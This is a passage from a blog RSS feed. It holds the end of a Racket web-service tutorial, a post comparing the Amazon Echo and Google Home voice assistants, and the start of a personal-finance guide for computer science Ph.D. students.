&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Uh-oh! Page not found.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;home-route&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;xexpr:response/xexpr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;`&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;h2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Look ma, no state!!!!!!!!!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define-values&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route-dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;route-url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;dispatch:dispatch-rules&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;home-route&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;not-found-route&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route-dispatch/log-middleware&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;display&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;dispatch-log:apache-default-format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;flush-output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route-dispatch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;req&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;servlet:serve/servlet&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;route-dispatch/log-middleware&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:servlet-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:servlet-regexp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;rx&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;#:stateless?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;#t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run this version and notice the logs displayed for each request. Now
you've got a simple web service with routing and logging!  I hope this
gives you a taste for how easy it is to build simple web services in
Racket without downloading any third-party libraries. Database drivers
and HTML template libraries are also included and similarly
well-documented. In the future I hope to add an example of a slightly
more advanced web service.&lt;/p&gt;
&lt;p class="note"&gt;
  I have had huge difficulty discovering the source of Racket
  libraries.  These library sources are nearly impossible to Google
  and search on Github is insane.  Best scenario, the official
  racket.org docs would link directly to the source of a function when
  the function is documented. Of course I could just download the
  Racket source and start grepping... but I'm only so interested.
&lt;/p&gt;&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;Walking through a basic Racket web service &lt;a href="https://t.co/J3us48kzga"&gt;https://t.co/J3us48kzga&lt;/a&gt; &lt;a href="https://twitter.com/racketlang?ref_src=twsrc%5Etfw"&gt;@racketlang&lt;/a&gt;&lt;/p&gt;&amp;mdash; Phil Eaton (@phil_eaton) &lt;a href="https://twitter.com/phil_eaton/status/814674473681121280?ref_src=twsrc%5Etfw"&gt;December 30, 2016&lt;/a&gt;&lt;/blockquote&gt; &lt;/p&gt;</description><author>Notes on software development</author><pubDate>Thu, 29 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/walking-through-a-basic-racket-web-service.html</guid></item><item><title>22 Months of Voice-Based Assistants</title><link>https://da-data.blogspot.com/2016/12/22-months-of-voice-based-assistants.html</link><description>&lt;div class="" style="clear: both; text-align: left;"&gt;
&lt;span&gt;Almost two years ago, &lt;a href="https://plus.google.com/+DavidAndersen1/posts/KKpb9GmX8HG?sfc=true"&gt;I posted on Google+ that I'd purchased an Amazon Echo&lt;/a&gt;. &amp;nbsp;In that post, I wrote:&lt;/span&gt;&lt;/div&gt;
&lt;blockquote class="tr_bq" style="clear: both; text-align: left;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpSQ1Pm0w1rUEN6kYHus46_RGXTvpUHTLkl2Z8j1-iQIHwyzKfpbRgoI8pulqGCJgf0Vdl5jhLnKIeMEusRx4CqGIAT7CbrgToMBfzh0ahY0miE1WLXSgd4xrGcWxJoS4t8zzE8eyVFBs/s1600/voice_assistants.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;span&gt;&lt;img border="0" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpSQ1Pm0w1rUEN6kYHus46_RGXTvpUHTLkl2Z8j1-iQIHwyzKfpbRgoI8pulqGCJgf0Vdl5jhLnKIeMEusRx4CqGIAT7CbrgToMBfzh0ahY0miE1WLXSgd4xrGcWxJoS4t8zzE8eyVFBs/s200/voice_assistants.jpg" width="200" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;It's surprisingly cool. &amp;nbsp;But the best part is what it makes me want, because it also sucks. &amp;nbsp;It can't recognize my 2.6 y/o daughter's voice, for example -- even though she can say to it fairly clearly "Alexa, play Puff the Magic Dragon" &amp;nbsp;(it will, if I ask it). &amp;nbsp;What an awesome enabler for kids, &lt;/span&gt;&lt;b&gt;if it worked&lt;/b&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;. &amp;nbsp;A little dangerous, too, but hey. :-) &amp;nbsp;It can't turn my remote-enabled lights on or off for me. &amp;nbsp;It can't even send me an email to remind me about something. &amp;nbsp;Boo.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class="tr_bq" style="clear: both; text-align: left;"&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;But - these are all current limitations. &amp;nbsp;Its speech recognition, albeit within a slightly narrow domain, is really solid. &amp;nbsp;It's happy with me, it's happy with my wife, and it's happy listening to us with the microwave running and a toddler running around. &amp;nbsp;The convenience is &lt;/span&gt;&lt;b&gt;awesome&lt;/b&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;. &amp;nbsp;I suddenly want to control more of my life by talking to it.  But I can't.  Yet.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;span&gt;It's two years later, and in that time:&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;My daughter is now four and a half, with much more capability of interacting with an assistant;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;I've purchased a &lt;a href="https://madeby.google.com/home/"&gt;Google Home&lt;/a&gt;&lt;span&gt; and run it head to head with the &lt;/span&gt;&lt;a href="http://amzn.to/2ihaZUh"&gt;Amazon Echo&lt;/a&gt;&lt;span&gt;;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Both the Home and the Echo have improved substantially in their capabilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span&gt;At the start of 2015, I was excited about the potential of these things. &amp;nbsp;Now I'm excited about the reality. &amp;nbsp; When we moved to California in August 2015 for a year, we didn't bring our stereo - but we brought our Alexa to be our primary stereo system. &amp;nbsp;Now we're on vacation in Utah for two weeks over the winter, and we brought our Google Home with us. &amp;nbsp;(We were checking baggage anyway. &amp;nbsp;I'm enough of a geek that I also brought our home wifi with us so I didn't have to reprogram anything onto our AirBnB rental's wifi, using a &lt;a href="http://amzn.to/2i6n6Up"&gt;cute little GR-AR150 mini router&lt;/a&gt;. &amp;nbsp;I wish I'd started doing that a long time ago.)&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span&gt;I'm excited enough about it that I've tied it into our fledgling home automation system to be able to control the lights. &amp;nbsp;Excited enough that instead of a CD player, we plan on buying our daughter an assistant device of her own to be able to stream music. &amp;nbsp;And excited enough that I set my 73 year old mom, to whom I am very wary of giving unwanted gifts, up with a Home and a Chromecast Audio for Christmas.&lt;/span&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;span&gt;Looking Back at My Initial Thoughts&lt;/span&gt;&lt;/h3&gt;
&lt;h4&gt;
&lt;span&gt;It can't recognize my daughter's voice&lt;/span&gt;&lt;/h4&gt;
&lt;div&gt;
&lt;span&gt;That's been fixed by the passage of time, but it's still one where I'd love both devices to improve. &amp;nbsp;For the Amazon Echo, the problem was its speech recognition -- far too often it would misunderstand her or fail to parse what she was saying. &amp;nbsp;For the Google Home, the kicker is the hotword detection ("O.K. Google", or "Hey, Google" -- my family favors "Hey, Google."). &amp;nbsp;There's something awkward in that set of sounds for a young child, and it doesn't trigger half the time for her. &amp;nbsp;On the bright side for the home, once she can trigger it, it almost always gets what she's saying.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;For adults, though, the Home is a huge leap forward in the quality of &lt;i&gt;intent recognition&lt;/i&gt;. &amp;nbsp;It's done a much better job of doing something reasonable. &amp;nbsp;("Play jazz thanksgiving music", for example, generates a perfectly reasonable playlist on the home, and an uncomprehending shrug from the Echo). &amp;nbsp;I suspect that the Echo also got better over the years, but it wasn't the huge jump that the Home was, so I didn't notice it as much.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;Echo Grade: &amp;nbsp;B&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;Google Home Grade: &amp;nbsp;B&lt;/span&gt;&lt;/div&gt;
&lt;h4&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;It can't turn my remote-enabled lights on or off for me.&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;div&gt;
&lt;span&gt;Done and done - both the Echo and the Home now have integration with both specific control mechanisms (including my &lt;a href="http://amzn.to/2hXzgRs"&gt;SmartThings hub&lt;/a&gt;, which I use to control a bunch of z-wave switches), as well as the mega-popular &lt;a href="https://ifttt.com/"&gt;IFTTT&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;Other parts of the integration are just as cool. &amp;nbsp;I have a Chromecast Audio plugged into the stereo system, and we regularly command the Google Home: &amp;nbsp;"Hey, Google, play classical christmas music on the living room speakers." &amp;nbsp;And it just works.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;Echo Grade: &amp;nbsp;A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;Google Home Grade: &amp;nbsp;A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;Hooray!&lt;/span&gt;&lt;/div&gt;
&lt;h4&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;It can't even send me an email to remind me about something.&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;Partial progress, but with the experience of time, I now have more appreciation for why this needs more progress.  You can rig up a system to accomplish this through IFTTT.  But it's not smooth - partly because of IFTTT's limitations in not being able to have more than one copy of a skill defined.  I've found this annoying on the Echo, and fairly not working on the Home.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;I have sympathy for both Amazon and Google on this one, though, because the more you think about integrating a voice-based assistant into things like your email and calendar, the more pause you should be giving.  I refuse to allow either one access to any personal account information - there's no authentication, and it's too easy to glitch or maliciously take advantage of.  We need better ways of handling this in a trustworthy-but-seamless fashion, and I'm happy to give both teams a pass while they play with ideas.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;Echo Grade:  B-&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;Google Home Grade:  C+&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;span&gt;Looking Forward&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;Many of my gripes today relate to the lack of personalization.  I can't use the Google Home to independently "find my phone" on my and my wife's phones, because the IFTTT recipes I wrote for it can only have one phone as a target.  That's an IFTTT limitation, but c'mon - integrating with find my phone is &lt;i&gt;so damn obvious&lt;/i&gt;.  There's now a &lt;a href="https://www.cnet.com/news/cant-find-your-phone-trackr-lets-alexa-make-it-ring/"&gt;Trackr skill&lt;/a&gt; for doing this with the Echo, but I hadn't tried it at the time I sold mine.  (We're now a strictly Google Home family.)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;There are obvious ways that these things will improve in the next two years.  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;We'll see more hardware.  Amazon's already released the cute tiny-form-factor &lt;a href="http://amzn.to/2iyLOfb"&gt;Echo Dot&lt;/a&gt;.  Google's "&lt;a href="https://assistant.google.com/"&gt;Assistant&lt;/a&gt;" software powers both the Home and the Pixel phone.   There's some speculation out there that Apple could try to integrate Siri with their earbuds, which would be fantastically cool, especially if &lt;a href="http://www.geekwire.com/2016/exclusive-apple-acquires-turi-major-exit-seattle-based-machine-learning-ai-startup/"&gt;their AI hiring spree&lt;/a&gt; helps Siri go a few more rounds against Google's on-phone assistant software.  One presumes all of these companies have more tricks up their sleeves.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span&gt;They'll integrate with more services and be able to control more devices.  While Amazon already ties in to a ton of services, Google has a ways to go. &lt;/span&gt;&lt;br /&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;They'll get continued incremental improvements in their speech recognition - hopefully for children's voices, too, if you ML folks are listening.  I'm pretty underwhelmed by the Amazon knowledgebase for question answering, but I assume it will get marginally better, and I'm quite certain Google's will.  (If I had to bet, of course, I'd wager that Amazon will continue to do a better job of playing well with others, and Google will do a better job of managing information -- both of those things seem pretty related to the DNA of each company).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;span&gt;But I have one bet, and hope:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h4&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;The next leap forward will be voice personalization.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;div&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;These assistants are amazing for families.  Ours have become a regular part of our interaction with music, timers, random factoids, etc.  But family implies multiple people, and being able to take advantage of the human context will be a huge next step in making these assistants even more smooth and capable.  I want my device to recognize when my daughter is asking for something, and assume that she's less likely to ask for "&lt;a href="https://www.youtube.com/watch?v=AA2XYyZXT3s"&gt;Elzevir - Dragon Catcher&lt;/a&gt;" death metal and more likely to ask for Puff the Magic Dragon.  And when I'm asking it to find my phone, it should find &lt;i&gt;my&lt;/i&gt; phone.  When my spouse asks about her phone, it should find her phone.  "Remind me" should work similarly.  There's so much potential there.  All I want for Christmas next year is...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;(Like what you're reading?  &lt;a href="https://da-data.blogspot.com/p/blog-page.html"&gt;Find more in the Archive&lt;/a&gt;...)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span&gt;&lt;span style="background-color: white; white-space: pre-wrap;"&gt;(obligatory disclaimer:  I work part-time for Google and full-time for Carnegie Mellon University.  This post, like everything on my blog, represents only my own opinion, and is not sanctioned, endorsed, paid for, wanted, smelled, or anything else to do with anyone who pays me or doesn't pay me.  If you click some of those links, you might get taken to Amazon via my affiliate link, and I might make a penny.)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</description><author>Dave's Data</author><pubDate>Wed, 28 Dec 2016 19:45:10 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/12/22-months-of-voice-based-assistants.html</guid></item><item><title>Finances for CS Ph.D. students</title><link>https://da-data.blogspot.com/2016/09/finances-for-cs-phd-students.html</link><description>This post is based upon a few recent conversations I've had with my own Ph.D. students. &amp;nbsp;Its intended audience is Ph.D. students at mid-to-upper-end computer science programs in the United States, who are either US citizens/permanent residents, or plan to remain &lt;i&gt;and retire&lt;/i&gt;&amp;nbsp;in the U.S.&lt;br /&gt;
&lt;br /&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibq7xCeKqhgIQhB2W_0qobA3_qIHu_3Hl9M5GgxExHbfwIQDB0xOcTahB24E37lHbkAff2IH84OBWCan3_qupWLzw8ZRLJ_gU7vnvmA_jEA-f0QtxOAbxaCCTIrl3Zej4HxmuQJzYwN1k/s1600/David_Andersen_-_Professor_Street_Urchin.jpg" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibq7xCeKqhgIQhB2W_0qobA3_qIHu_3Hl9M5GgxExHbfwIQDB0xOcTahB24E37lHbkAff2IH84OBWCan3_qupWLzw8ZRLJ_gU7vnvmA_jEA-f0QtxOAbxaCCTIrl3Zej4HxmuQJzYwN1k/s200/David_Andersen_-_Professor_Street_Urchin.jpg" width="172" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;In graduate school, &lt;br /&gt;
you too can dress better than a professor!&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Welcome to graduate school in computer science, where not only do we not charge you tuition, but we shower you with so much money that you can afford to eat, have a house over your head, and wear shirts that have fewer than five holes in them!&lt;br /&gt;
&lt;br /&gt;
In fact, you can probably do better than that, and get a nice boost to being financially independent. &amp;nbsp;But it takes some advance planning.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
Why Bother?&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
Mostly, because flexibility -- or, more crassly, "FU Money." &amp;nbsp;(You can google that in case the meaning isn't obvious.) &amp;nbsp;Getting started early on the path to financial independence lets &lt;i&gt;you&lt;/i&gt;&amp;nbsp;be in charge of your life.&amp;nbsp;&amp;nbsp;You may also discover halfway through your program that there's this crazy nonprofit you want to devote all of your effort to, which pays a living but not quite so lucrative wage, and wonder if you'll be able to get by on it. &amp;nbsp;You may graduate, get a job at Googlebooksoftetc., and within a few years earn north of $300k/year. &amp;nbsp; Or choose to &lt;a href="http://www.hngn.com/articles/16357/20131101/google-engineer-joins-tech-surge-team-to-fix-healthcare-gov.htm"&gt;help the government fix healthcare.gov&lt;/a&gt;. &amp;nbsp;Or decide that &lt;a href="https://www.washingtonpost.com/business/meet-mr-money-mustache-the-man-who-retired-at-30/2013/04/26/71e3e6a8-acf3-11e2-a8b9-2a63d75b5459_story.html"&gt;retiring from CS at 30 is more your style.&lt;/a&gt; You may live to 100 and work until the day you die, or &lt;a href="https://www.cs.cmu.edu/~pausch/"&gt;die of cancer less than 20 years into your post-graduate career.&lt;/a&gt;&amp;nbsp; You may exit computer science and raise rabbits.&lt;br /&gt;
&lt;br /&gt;
Life is full of twists, and a pile of cash + living under your means&amp;nbsp;makes a nice cushion that lets you &lt;i&gt;do what &lt;b&gt;you&lt;/b&gt;&amp;nbsp;want with your life&lt;/i&gt;, instead of being forced into a path for financial reasons.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
TL;DR, you long-winded academic?&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
Spend less than you earn on your stipend. &amp;nbsp;Save as much as possible from your internships. &amp;nbsp;Contribute the max to a Roth IRA. &amp;nbsp;Save the rest in a taxable account. &amp;nbsp;Invest those accounts in Vanguard low-overhead index funds.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
The long version, with numbers?&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
You've typically got three income sources in graduate school:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;Your stipend. &amp;nbsp;&lt;a href="https://www.quora.com/What-are-the-stipend-and-expenses-of-a-PhD-computer-science-student-from-top-universities-like-Stanford-MIT-Caltech-CMU-etc"&gt;The amounts vary&lt;/a&gt;, but something like $2500/month isn't unusual.&lt;/li&gt;
&lt;li&gt;Summer internships. &amp;nbsp;Most students should do one or two of these during their Ph.D. program - it's a great way to meet new researchers, get exposed to different problems and environments, etc. &amp;nbsp;Pay varies, but is often in the range of $70-100k annually (which may come to about $21-25k over the summer).&lt;/li&gt;
&lt;li&gt;Consulting gigs / side jobs. &amp;nbsp;Can be a nice supplement to your income, but don't let them distract you from finishing up and graduating. &amp;nbsp;Bonus points if they dovetail with your research in a non-conflict-of-interest way, of course.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
As a full-time student, you don't pay social security taxes on your stipend. &amp;nbsp;And when you're earning $30k/year, your &lt;a href="http://taxfoundation.org/article/2016-tax-brackets"&gt;top marginal tax rate will be in the 15% bracket&lt;/a&gt;. &amp;nbsp;But, of course, that doesn't mean you'll be paying 15% of your income in taxes. &amp;nbsp;In fact, it'll be far, far less. &amp;nbsp;Your first ~$6k is covered under the standard deduction and personal exemption. &amp;nbsp;&lt;a href="http://www.apa.org/gradpsych/features/2011/tax-tips.aspx"&gt;Required texbooks&lt;/a&gt;&amp;nbsp;can also be deducted from that. &amp;nbsp;And then factor in that US taxes are &lt;i&gt;marginal&lt;/i&gt;&amp;nbsp;rates: &amp;nbsp;You pay 10% on the first ~$9275&amp;nbsp;&lt;i&gt;after&lt;/i&gt;&amp;nbsp;the deduction and exemption, 15% on the amount from ~$9275 to ~$37k, and so on. &amp;nbsp;Which means that you'll probably have an effective federal tax rate of about 10.5% on a $30k salary, or $3,136 in taxes.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
You'll pay more on your internship income, but in general, your tax situation is pretty great. &amp;nbsp;Of course, that's a silver lining on the fact that grad school stipends are small, but it beats paying for grad school!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This means that from a retirement and savings account, &lt;b&gt;you want to operate entirely in post-tax money.&lt;/b&gt;&amp;nbsp; This is, with great likelihood, the lowest tax bracket you're going to find yourself in for the rest of your life.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Of course, for any of this to make sense, you have to spend less than you earn. &amp;nbsp;Grad school's a great opportunity to do so. &amp;nbsp;(Almost)&amp;nbsp;&lt;i&gt;Everyone&lt;/i&gt;&amp;nbsp;lives in a dump during grad school. &amp;nbsp;Might as well revel in it a bit. &amp;nbsp;Your friends aren't going to be wasting their money either, so keeping up with the joneses pretty much means cleaning your apartment regularly and not leaving rotting food in your office. &lt;br /&gt;
&lt;br /&gt;
OK, I just made that last bit up to try to keep my lab cleaner. &amp;nbsp;But seriously - grad school is full of affordable fun, dinner parties, and whatnot. &amp;nbsp;Take advantage of it. &amp;nbsp;When you spend money, do so mindfully -- mindful of &lt;a href="http://www.marcandangel.com/2012/08/31/10-actions-that-always-bring-happiness/"&gt;things that actually bring happiness&lt;/a&gt; (or relieve stress), as opposed to what a bunch of marketing people want you to think do.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Housing - your biggest(ish) expense&lt;/h3&gt;
&lt;br /&gt;
